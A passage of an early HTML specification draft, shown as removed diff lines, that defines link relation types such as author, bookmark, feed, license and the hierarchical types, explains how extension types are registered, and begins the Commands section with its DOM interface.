-   treat the keyword "<code title="">archive</code>" like the <code
-   title=rel-archives><a href="#archives0">archives</a></code> keyword.
-
-  <h5 id=link-type1><span class=secno>4.3.3.3. </span>Link type "<dfn
-   id=author0 title=rel-author><code>author</code></dfn>"</h5>
-
-  <p>The <code title=rel-author><a href="#author0">author</a></code> keyword
-   may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>For <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements, the <code title=rel-author><a
-   href="#author0">author</a></code> keyword indicates that the referenced
-   document provides further information about the author of the section that
-   the element defining the hyperlink <a href="#applyToSection">applies</a>
-   to.
-
-  <p>For <code><a href="#link0">link</a></code> elements, the <code
-   title=rel-author><a href="#author0">author</a></code> keyword indicates
-   that the referenced document provides further information about the author
-   for the page as a whole.
-
-  <p class=note>The "referenced document" can be, and often is, a <code
-   title="">mailto:</code> URI giving the e-mail address of the author. <a
-   href="#refsMAILTO">[MAILTO]</a>
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements that have a <code title="">rev</code> attribute with the value
-   "<code>made</code>" as having the <code title=rel-author><a
-   href="#author0">author</a></code> keyword specified as a link
-   relationship.
-
-  <h5 id=link-type2><span class=secno>4.3.3.4. </span>Link type "<dfn
-   id=bookmark0 title=rel-bookmark><code>bookmark</code></dfn>"</h5>
-
-  <p>The <code title=rel-bookmark><a href="#bookmark0">bookmark</a></code>
-   keyword may be used with <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements.
-
-  <p>The <code title=rel-bookmark><a href="#bookmark0">bookmark</a></code>
-   keyword gives a permalink for the nearest ancestor <code><a
-   href="#article0">article</a></code> element of the linking element in
-   question, or of <a href="#associatedSection">the section the linking
-   element is most closely associated with</a>, if there are no ancestor
-   <code><a href="#article0">article</a></code> elements.
-
-  <div class=example>
-   <p>The following snippet has three permalinks. A user agent could
-    determine which permalink applies to which part of the spec by looking at
-    where the permalinks are given.</p>
-
-   <pre> ...
- AMPERSANDlt;body>
-  AMPERSANDlt;h1>Example of permalinksAMPERSANDlt;/h1>
-  AMPERSANDlt;div id="a">
-   AMPERSANDlt;h2>First exampleAMPERSANDlt;/h2>
-   AMPERSANDlt;p>AMPERSANDlt;a href="a.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to
-   only the content from the first H2 to the second H2. The DIV isn't
-   exactly that section, but it roughly corresponds to it.AMPERSANDlt;/p>
-  AMPERSANDlt;/div>
-  AMPERSANDlt;h2>Second exampleAMPERSANDlt;/h2>
-  AMPERSANDlt;article id="b">
-   AMPERSANDlt;p>AMPERSANDlt;a href="b.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to
-   the outer ARTICLE element (which could be, e.g., a blog post).AMPERSANDlt;/p>
-   AMPERSANDlt;article id="c">
-    AMPERSANDlt;p>AMPERSANDlt;a href="c.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to
-    the inner ARTICLE element (which could be, e.g., a blog comment).AMPERSANDlt;/p>
-   AMPERSANDlt;/article>
-  AMPERSANDlt;/article>
- AMPERSANDlt;/body>
- ...</pre>
-  </div>
-
-  <h5 id=link-type3><span class=secno>4.3.3.5. </span>Link type "<dfn
-   id=contact0 title=rel-contact><code>contact</code></dfn>"</h5>
-
-  <p>The <code title=rel-contact><a href="#contact0">contact</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>For <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements, the <code title=rel-contact><a
-   href="#contact0">contact</a></code> keyword indicates that the referenced
-   document provides further contact information for the section that the
-   element defining the hyperlink <a href="#applyToSection">applies</a> to.
-
-  <p>User agents must treat any hyperlink in an <code><a
-   href="#address0">address</a></code> element as having the <code
-   title=rel-contact><a href="#contact0">contact</a></code> link type
-   specified.
-
-  <p>For <code><a href="#link0">link</a></code> elements, the <code
-   title=rel-contact><a href="#contact0">contact</a></code> keyword indicates
-   that the referenced document provides further contact information for the
-   page as a whole.
-
-  <h5 id=link-type4><span class=secno>4.3.3.6. </span>Link type "<dfn
-   id=external0 title=rel-external><code>external</code></dfn>"</h5>
-
-  <p>The <code title=rel-external><a href="#external0">external</a></code>
-   keyword may be used with <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements.
-
-  <p>The <code title=rel-external><a href="#external0">external</a></code>
-   keyword indicates that the link is leading to a document that is not part
-   of the site that the current document forms a part of.
-
-  <h5 id=link-type5><span class=secno>4.3.3.7. </span>Link type "<dfn
-   id=feed0 title=rel-feed><code>feed</code></dfn>"</h5>
-
-  <p>The <code title=rel-feed><a href="#feed0">feed</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-feed><a href="#feed0">feed</a></code> keyword
-   indicates that the referenced document is a syndication feed. If the <code
-   title=rel-alternate><a href="#alternate0">alternate</a></code> link type
-   is also specified, then the feed is specifically the feed for the current
-   document; otherwise, the feed is just a syndication feed, not necessarily
-   associated with a particular Web page.
-
-  <p>The first <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, or <code><a href="#area0">area</a></code> element
-   in the document (in tree order) that creates a hyperlink with the link
-   type <code title=rel-feed><a href="#feed0">feed</a></code> must be treated
-   as the default syndication feed for the purposes of feed autodiscovery.
-
-  <p class=note>The <code title=rel-feed><a href="#feed0">feed</a></code>
-   keyword is implied by the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> link type in certain cases (q.v.).
-
-  <div class=example>
-   <p>The following two <code><a href="#link0">link</a></code> elements are
-    equivalent: both give the syndication feed for the current page:</p>
-
-   <pre>AMPERSANDlt;link rel="alternate" type="application/atom+xml" href="data.xml"></pre>
-
-   <pre>AMPERSANDlt;link rel="feed alternate" href="data.xml"></pre>
-
-   <p>The following extract offers various different syndication feeds:</p>
-
-   <pre> AMPERSANDlt;p>You can access the planets database using Atom feeds:AMPERSANDlt;/p>
- AMPERSANDlt;ul>
-  AMPERSANDlt;li>AMPERSANDlt;a href="recently-visited-planets.xml" rel="feed">Recently Visited PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li>
-  AMPERSANDlt;li>AMPERSANDlt;a href="known-bad-planets.xml" rel="feed">Known Bad PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li>
-  AMPERSANDlt;li>AMPERSANDlt;a href="unexplored-planets.xml" rel="feed">Unexplored PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li>
- AMPERSANDlt;/ul></pre>
-  </div>
-
-  <h5 id=link-type6><span class=secno>4.3.3.8. </span>Link type "<dfn
-   id=help0 title=rel-help><code>help</code></dfn>"</h5>
-
-  <p>The <code title=rel-help><a href="#help0">help</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>For <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements, the <code title=rel-help><a
-   href="#help0">help</a></code> keyword indicates that the referenced
-   document provides further help information for the parent of the element
-   defining the hyperlink, and its children.
-
-  <div class=example>
-   <p>In the following example, the form control has associated
-    context-sensitive help. The user agent could use this information, for
-    example, displaying the referenced document if the user presses the
-    "Help" or "F1" key.</p>
-
-   <pre> AMPERSANDlt;p>AMPERSANDlt;label> Topic: AMPERSANDlt;input name=topic> AMPERSANDlt;a href="help/topic.html" rel="help">(Help)AMPERSANDlt;/a>AMPERSANDlt;/label>AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>For <code><a href="#link0">link</a></code> elements, the <code
-   title=rel-help><a href="#help0">help</a></code> keyword indicates that the
-   referenced document provides help for the page as a whole.
-
-  <h5 id=link-type7><span class=secno>4.3.3.9. </span>Link type "<dfn
-   id=icon2 title=rel-icon><code>icon</code></dfn>"</h5>
-
-  <p>The <code title=rel-icon><a href="#icon2">icon</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code> elements, for which it
-   creates an <a href="#links1" title="external resource link">external
-   resource link</a>.
-
-  <p>The specified resource is an icon representing the page or site, and
-   should be used by the user agent when representing the page in the user
-   interface.
-
-  <p>Icons could be auditory icons, visual icons, or other kinds of icons. If
-   multiple icons are provided, the user agent must select the most
-   appropriate icon according to the <code title=attr-link-media><a
-   href="#media">media</a></code> attribute.
-
-  <h5 id=link-type8><span class=secno>4.3.3.10. </span>Link type "<dfn
-   id=license0 title=rel-license><code>license</code></dfn>"</h5>
-
-  <p>The <code title=rel-license><a href="#license0">license</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-license><a href="#license0">license</a></code>
-   keyword indicates that the referenced document provides the copyright
-   license terms under which the current document is provided.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat the keyword "<code title="">copyright</code>" like the <code
-   title=rel-license><a href="#license0">license</a></code> keyword.
-
-  <h5 id=link-type9><span class=secno>4.3.3.11. </span>Link type "<dfn
-   id=nofollow0 title=rel-nofollow><code>nofollow</code></dfn>"</h5>
-
-  <p>The <code title=rel-nofollow><a href="#nofollow0">nofollow</a></code>
-   keyword may be used with <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements.
-
-  <p>The <code title=rel-nofollow><a href="#nofollow0">nofollow</a></code>
-   keyword indicates that the link is not endorsed by the original author or
-   publisher of the page.
-
-  <h5 id=link-type10><span class=secno>4.3.3.12. </span>Link type "<dfn
-   id=pingback0 title=rel-pingback><code>pingback</code></dfn>"</h5>
-
-  <p>The <code title=rel-pingback><a href="#pingback0">pingback</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code> elements,
-   for which it creates an <a href="#links1" title="external resource
-   link">external resource link</a>.
-
-  <p>For the semantics of the <code title=rel-pingback><a
-   href="#pingback0">pingback</a></code> keyword, see the Pingback 1.0
-   specification. <a href="#refsPINGBACK">[PINGBACK]</a>
-
-  <h5 id=link-type11><span class=secno>4.3.3.13. </span>Link type "<dfn
-   id=prefetch0 title=rel-prefetch><code>prefetch</code></dfn>"</h5>
-
-  <p>The <code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code> elements,
-   for which it creates an <a href="#links1" title="external resource
-   link">external resource link</a>.
-
-  <p>The <code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>
-   keyword indicates that preemptively fetching and caching the specified
-   resource is likely to be beneficial, as it is highly likely that the user
-   will require this resource.
-
-  <h5 id=link-type12><span class=secno>4.3.3.14. </span>Link type "<dfn
-   id=search2 title=rel-search><code>search</code></dfn>"</h5>
-
-  <p>The <code title=rel-search><a href="#search2">search</a></code> keyword
-   may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-search><a href="#search2">search</a></code> keyword
-   indicates that the referenced document provides an interface specifically
-   for searching the document and its related resources.
-
-  <h5 id=link-type13><span class=secno>4.3.3.15. </span>Link type "<dfn
-   id=stylesheet0 title=rel-stylesheet><code>stylesheet</code></dfn>"</h5>
-
-  <p>The <code title=rel-stylesheet><a
-   href="#stylesheet0">stylesheet</a></code> keyword may be used with
-   <code><a href="#link0">link</a></code> elements, for which it creates an
-   <a href="#links1" title="external resource link">external resource
-   link</a>.
-
-  <p>The specified resource is a resource that describes how to present the
-   document. Exactly how the resource is to be processed depends on the
-   actual type of the resource.
-
-  <p>If the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> keyword is also specified on the
-   <code><a href="#link0">link</a></code> element, then the link is an
-   alternate stylesheet.
-
-  <p class=big-issue>Need more here -- defining preferred stylesheets,
-   alternate stylesheets, persistent stylesheets, and the stuff about the
-   alternate stylesheet API. Maybe this should all be deferred to another
-   processing model section.
-
-  <h5 id=link-type14><span class=secno>4.3.3.16. </span>Link type "<dfn
-   id=sidebar0 title=rel-sidebar><code>sidebar</code></dfn>"</h5>
-
-  <p>The <code title=rel-sidebar><a href="#sidebar0">sidebar</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-sidebar><a href="#sidebar0">sidebar</a></code>
-   keyword indicates that the referenced document, if retrieved, is intended
-   to be shown in a secondary browsing context (if possible), instead of in
-   the current browsing context.
-
-  <h5 id=link-type15><span class=secno>4.3.3.17. </span>Link type "<dfn
-   id=tag0 title=rel-tag><code>tag</code></dfn>"</h5>
-
-  <p>The <code title=rel-tag><a href="#tag0">tag</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-tag><a href="#tag0">tag</a></code> keyword indicates
-   that the <em>tag</em> that the referenced document represents applies to
-   the current document.
-
-  <h5 id=hierarchical><span class=secno>4.3.3.18. </span>Hierarchical link
-   types</h5>
-
-  <p>Some documents form part of a hierarchical structure of documents.
-
-  <p>A hierarchical structure of documents is one where each document can
-   have various subdocuments. A subdocument is said to be a <em>child</em> of
-   the document it is a subdocument of. The document of which it is a
-   subdocument is said to be its <em>parent</em>. The children of a document
-   have a relative order; the subdocument that precedes another is its
-   <em>previous sibling</em>, and the one that follows it is its <em>next
-   sibling</em>. A document with no parent forms the top of the hierarchy.
-
-  <h6 id=link-type16><span class=secno>4.3.3.18.1. </span>Link type "<dfn
-   id=first0 title=rel-first><code>first</code></dfn>"</h6>
-
-  <p>The <code title=rel-first><a href="#first0">first</a></code> keyword may
-   be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-first><a href="#first0">first</a></code> keyword
-   indicates that the document is part of a hierarchical structure, and that
-   the link is leading to the document that is the first child of the current
-   document's parent document.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat the keywords "<code title="">begin</code>" and "<code
-   title="">start</code>" like the <code title=rel-first><a
-   href="#first0">first</a></code> keyword.
-
-  <h6 id=link-type17><span class=secno>4.3.3.18.2. </span>Link type "<dfn
-   id=index0 title=rel-index><code>index</code></dfn>"</h6>
-
-  <p>The <code title=rel-index><a href="#index0">index</a></code> keyword may
-   be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-index><a href="#index0">index</a></code> keyword
-   indicates that the document is part of a hierarchical structure, and that
-   the link is leading to the document that is the top of the hierarchy.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat the keywords "<code title="">top</code>", "<code
-   title="">contents</code>", and "<code title="">toc</code>" like the <code
-   title=rel-index><a href="#index0">index</a></code> keyword.
-
-  <h6 id=link-type18><span class=secno>4.3.3.18.3. </span>Link type "<dfn
-   id=last0 title=rel-last><code>last</code></dfn>"</h6>
-
-  <p>The <code title=rel-last><a href="#last0">last</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-last><a href="#last0">last</a></code> keyword
-   indicates that the document is part of a hierarchical structure, and that
-   the link is leading to the document that is the last child of the current
-   document's parent document.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat the keyword "<code title="">end</code>" like the <code
-   title=rel-last><a href="#last0">last</a></code> keyword.
-
-  <h6 id=link-type19><span class=secno>4.3.3.18.4. </span>Link type "<dfn
-   id=next0 title=rel-next><code>next</code></dfn>"</h6>
-
-  <p>The <code title=rel-next><a href="#next0">next</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-next><a href="#next0">next</a></code> keyword
-   indicates that the document is part of a hierarchical structure, and that
-   the link is leading to the document that is the next sibling of the
-   current document.
-
-  <h6 id=link-type20><span class=secno>4.3.3.18.5. </span>Link type "<dfn
-   id=prev0 title=rel-prev><code>prev</code></dfn>"</h6>
-
-  <p>The <code title=rel-prev><a href="#prev0">prev</a></code> keyword may be
-   used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-prev><a href="#prev0">prev</a></code> keyword
-   indicates that the document is part of a hierarchical structure, and that
-   the link is leading to the document that is the previous sibling of the
-   current document.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
-   treat the keyword "<code title="">previous</code>" like the <code
-   title=rel-prev><a href="#prev0">prev</a></code> keyword.
-
-  <h6 id=link-type21><span class=secno>4.3.3.18.6. </span>Link type "<dfn
-   id=up0 title=rel-up><code>up</code></dfn>"</h6>
-
-  <p>The <code title=rel-up><a href="#up0">up</a></code> keyword may be used
-   with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-up><a href="#up0">up</a></code> keyword indicates
-   that the document is part of a hierarchical structure, and that the link
-   is leading to the document that is the parent of the current document.</p>
-  <!-- idea: rel="up" vs rel="up up" vs rel="up up up top"
-    this would allow you to do breadcrumbs:
-     <nav>
-      <p>
-       <a href="/" rel="top up up up">Main</a> AMPERSANDgt;
-       <a href="/products/" rel="up up">Products</a> AMPERSANDgt;
-       <a href="/products/dishwashers" rel="up">Dishwashers</a> AMPERSANDgt;
-       Second hand
-      </p>
-     </nav>
-   -->
-
-  <h5 id=other1><span class=secno>4.3.3.19. </span>Other link types</h5>
-
-  <p>Other than the types defined above, only types defined as extensions in
-   the <a href="http://wiki.whatwg.org/wiki/RelExtensions">WHATWG Wiki
-   RelExtensions page</a> may be used with the <code title="">rel</code>
-   attribute on <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. <a href="#refsWHATWGWIKI">[WHATWGWIKI]</a>
-
-  <p>Anyone is free to edit the WHATWG Wiki RelExtensions page at any time to
-   add a type. Extension types must be specified with the following
-   information:
-
-  <dl>
-   <dt>Keyword
-
-   <dd>
-    <p>The actual value being defined. The value should not be confusingly
-     similar to any other defined value (e.g. differing only in case).
-
-   <dt>Effect on... <code><a href="#link0">link</a></code>
-
-   <dd>
-    <p>One of the following:</p>
-
-    <dl>
-     <dt>not allowed
-
-     <dd>The keyword is not allowed to be specified on <code><a
-      href="#link0">link</a></code> elements.
-
-     <dt>Hyperlink
-
-     <dd>The keyword may be specified on a <code><a
-      href="#link0">link</a></code> element; it creates a <a
-      href="#hyperlink0" title="hyperlink link">hyperlink link</a>.
-
-     <dt>External Resource
-
-     <dd>The keyword may be specified on a <code><a
-      href="#link0">link</a></code> element; it creates a <a href="#links1"
-      title="external resource link">external resource link</a>.
-    </dl>
-
-   <dt>Effect on... <code><a href="#a0">a</a></code> and <code><a
-    href="#area0">area</a></code>
-
-   <dd>
-    <p>One of the following:</p>
-
-    <dl>
-     <dt>not allowed
-
-     <dd>The keyword is not allowed to be specified on <code><a
-      href="#a0">a</a></code> and <code><a href="#area0">area</a></code>
-      elements.
-
-     <dt>Hyperlink
-
-     <dd>The keyword may be specified on <code><a href="#a0">a</a></code> and
-      <code><a href="#area0">area</a></code> elements; it creates a <a
-      href="#hyperlinks" title=hyperlink>hyperlink</a>.
-    </dl>
-
-   <dt>Brief description
-
-   <dd>
-    <p>A short description of what the keyword's meaning is.
-
-   <dt>Link to more details
-
-   <dd>
-    <p>A link to a more detailed description of the keyword's semantics and
-     requirements. It could be another page on the Wiki, or a link to an
-     external page.
-
-   <dt>Synonyms
-
-   <dd>
-    <p>A list of other keyword values that have exactly the same processing
-     requirements. Authors must not use the values defined to be synonyms,
-     they are only intended to allow user agents to support legacy content.
-
-   <dt>Status
-
-   <dd>
-    <p>One of the following:</p>
-
-    <dl>
-     <dt>Proposal
-
-     <dd>The keyword has not received wide peer review and approval. It is
-      included for completeness because pages use the keyword. Pages should
-      not use the keyword.
-
-     <dt>Accepted
-
-     <dd>The keyword has received wide peer review and approval. It has a
-      specification that unambiguously defines how to handle pages that use
-      the keyword, including when they use them in incorrect ways. Pages may
-      use the keyword.
-
-     <dt>Rejected
-
-     <dd>The keyword has received wide peer review and it has been found to
-      have significant problems. Pages must not use the keyword. When a
-      keyword has this status, the "Effect on... <code><a
-      href="#link0">link</a></code>" and "Effect on... <code><a
-      href="#a0">a</a></code> and <code><a href="#area0">area</a></code>"
-      information should be set to "not allowed".
-    </dl>
-
-    <p>If a keyword is added with the "proposal" status and found to be
-     redundant with existing values, it should be removed and listed as a
-     synonym for the existing value. If a keyword is added with the
-     "proposal" status and found to be harmful, then it should be changed to
-     "rejected" status, and its "Effect on..." information should be changed
-     accordingly.</p>
-  </dl>
-
-  <p>Conformance checkers must use the information given on the WHATWG Wiki
-   RelExtensions page to establish if a value not explicitly defined in this
-   specification is allowed or not. When an author uses a new type not
-   defined by either this specification or the Wiki page, conformance
-   checkers should offer to add the value to the Wiki, with the details
-   described above, with the "proposal" status.
-
-  <p>This specification does not define how new values will get approved. It
-   is expected that the Wiki will have a community that addresses this.
-
-  <h4 id=image-maps><span class=secno>4.3.4. </span>Image maps</h4>
-
-  <p class=big-issue>...<dfn id=image>image map</dfn>, <dfn id=valid5>valid
-   area</dfn>, <dfn id=usemap1
-   title=attr-hyperlink-usemap><code>usemap</code></dfn>, <dfn id=coords0
-   title=attr-area-coords><code>coords</code></dfn>, <dfn id=shape0
-   title=attr-area-shape><code>shape</code></dfn>, <dfn id=server>server side
-   image map</dfn>.</p>
-  <!-- usemap is special-cased when it starts with a "#".
-       does any browser support it when it doesn't? -->
-  <!-- http://lxr.mozilla.org/seamonkey/source/layout/generic/nsImageMap.cpp: parsing of coords, ordering of coord numbers when out of order -->
-  <!-- coords can take % values? (for radius?) -->
-
-  <p class=big-issue>default action of clicking an image is to check if
-   target was an image with usemap; if so, fire DOMActivate on the matching
-   <code><a href="#area0">area</a></code>, otherwise do nothing. (Or, do
-   click events clicked on areas fire directly on the area and not on the
-   img?)
-
-  <h3 id=commands><span class=secno>4.4. </span>Commands</h3>
-
-  <p>A <dfn id=command2 title=concept-command>command</dfn> is the
-   abstraction behind menu items, buttons, and links. Once a command is
-   defined, other parts of the interface can refer to the same command,
-   allowing many access points to a single feature to share aspects such as
-   the disabled state.
-
-  <p id=facets>Commands are defined to have the following <em>facets</em>:
-
-  <dl>
-   <dt><dfn id=type15 title=command-facet-Type>Type</dfn>
-
-   <dd>The kind of command: "command", meaning it is a normal command;
-    "radio", meaning that triggering the command will, amongst other things,
-    set the <a href="#checked2" title=command-facet-CheckedState>Checked
-    State</a> to true (and probably uncheck some other commands); or
-    "checkbox", meaning that triggering the command will, amongst other
-    things, toggle the value of the <a href="#checked2"
-    title=command-facet-CheckedState>Checked State</a>.
-
-   <dt><dfn id=id2 title=command-facet-ID>ID</dfn>
-
-   <dd>The name of the command, for referring to the command from the markup
-    or from script. If a command has no ID, it is an <dfn
-    id=anonymous>anonymous command</dfn>.
-
-   <dt><dfn id=label2 title=command-facet-Label>Label</dfn>
-
-   <dd>The name of the command as seen by the user.
-
-   <dt><dfn id=hint title=command-facet-Hint>Hint</dfn>
-
-   <dd>A helpful or descriptive string that can be shown to the user.
-
-   <dt><dfn id=icon3 title=command-facet-Icon>Icon</dfn>
-
-   <dd>A graphical image that represents the action.
-
-   <dt><dfn id=hidden1 title=command-facet-HiddenState>Hidden State</dfn>
-
-   <dd>Whether the command is hidden or not (basically, whether it should be
-    shown in menus).
-
-   <dt><dfn id=disabled5 title=command-facet-DisabledState>Disabled
-    State</dfn>
-
-   <dd>Whether the command can be triggered or not. If the <a href="#hidden1"
-    title=command-facet-HiddenState>Hidden State</a> is true (hidden) then
-    the <a href="#disabled5" title=command-facet-DisabledState>Disabled
-    State</a> will be true (disabled) regardless. <span class=issue>We could
-    make this into a string value that acts as a Hint for why the command is
-    disabled.</span>
-
-   <dt><dfn id=checked2 title=command-facet-CheckedState>Checked State</dfn>
-
-   <dd>Whether the command is checked or not.
-
-   <dt><dfn id=action title=command-facet-Action>Action</dfn>
-
-   <dd>The actual effect that triggering the command will have. This could be
-    a scripted event handler, a URI to which to navigate, or a form
-    submission.
-
-   <dt><dfn id=triggers title=command-facet-Triggers>Triggers</dfn>
-
-   <dd>The list of elements that can trigger the command. The element
-    defining a command is always in the list of elements that can trigger the
-    command. For anonymous commands, only the element defining the command is
-    on the list, since other elements have no way to refer to it.
-  </dl>
-
-  <p>Commands are represented by elements in the DOM. Any element that can
-   define a command also implements the <code title=command-ro><a
-   href="#command3">Command</a></code> interface:
-
-  <pre
-   class=idl>interface <dfn id=command3 title=command-ro>Command</dfn> {<!--
- NOTE: to avoid clashing with the HTMLCommandElement interface's names,
-       the members of this interface use cross-references with the title
-       dom-command-ro-foo (note the "ro", which stands for "readonly").
--->
-  readonly attribute DOMString <a href="#commandtype" title=dom-command-ro-commandType>commandType</a>;          
-  readonly attribute DOMString <a href="#id3" title=dom-command-ro-id>id</a>;
-  readonly attribute DOMString <a href="#label3" title=dom-command-ro-label>label</a>;
-  readonly attribute DOMString <a href="#title9" title=dom-command-ro-title>title</a>;
-  readonly attribute DOMString <a href="#icon4" title=dom-command-ro-icon>icon</a>;
-  readonly attribute boolean <a href="#hidden2" title=dom-command-ro-hidden>hidden</a>;
-  readonly attribute boolean <a href="#disabled6" title=dom-command-ro-disabled>disabled</a>;              
-  readonly attribute boolean <a href="#checked3" title=dom-command-ro-checked>checked</a>;              
-  void <a href="#click1" title=dom-command-ro-click>click</a>();
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#triggers0" title=dom-command-ro-triggers>triggers</a>;
-  readonly attribute <a href="#command1">Command</a> <span title=dom-command-ro-command>command</span>;
-};</pre>
-
-  <p>The <code title=command-ro><a href="#command3">Command</a></code>
-   interface is implemented by any element capable of defining a command. (If
-   an element can define a command, its definition will list this interface
-   explicitly.) All the attributes of the <code title=command-ro><a
-   href="#command3">Command</a></code> interface are read-only. Elements
-   implementing this interface may implement other interfaces that have
-   attributes with identical names but that are mutable; in bindings that
-   simply flatten all supported interfaces on the object, the mutable
-   attributes must shadow the readonly attributes defined in the <code
-   title=command-ro><a href="#command3">Command</a></code> interface.
-
-  <p>The <dfn id=commandtype
-   title=dom-command-ro-commandType><code>commandType</code></dfn> attribute
-   must return a string whose value is either "<code
-   title="">command</code>", "<code title="">radio</code>", or "<code
-   title="">checked</code>", depending on whether the <a href="#type15"
-   title=command-facet-Type>Type</a> of the command defined by the element is
-   "command", "radio", or "checked" respectively. If the element does not
-   define a command, it must return null.
-
-  <p>The <dfn id=id3 title=dom-command-ro-id><code>id</code></dfn> attribute
-   must return the command's <a href="#id2" title=command-facet-ID>ID</a>, or
-   null if the element does not define a command or defines an <a
-   href="#anonymous">anonymous command</a>. This attribute will be shadowed
-   by the <code title=dom-id><a href="#id1">id</a></code> DOM attribute on
-   the <code><a href="#htmlelement">HTMLElement</a></code> interface.
-
-  <p>The <dfn id=label3 title=dom-command-ro-label><code>label</code></dfn>
-   attribute must return the command's <a href="#label2"
-   title=command-facet-Label>Label</a>, or null if the element does not
-   define a command or does not specify a <a href="#label2"
-   title=command-facet-Label>Label</a>. This attribute will be shadowed by
-   the <code title="">label</code> DOM attribute on <code>option</code> and
-   <code><a href="#command1">command</a></code> elements.
-
-  <p>The <dfn id=title9 title=dom-command-ro-title><code>title</code></dfn>
-   attribute must return the command's <a href="#hint"
-   title=command-facet-Hint>Hint</a>, or null if the element does not define
-   a command or does not specify a <a href="#hint"
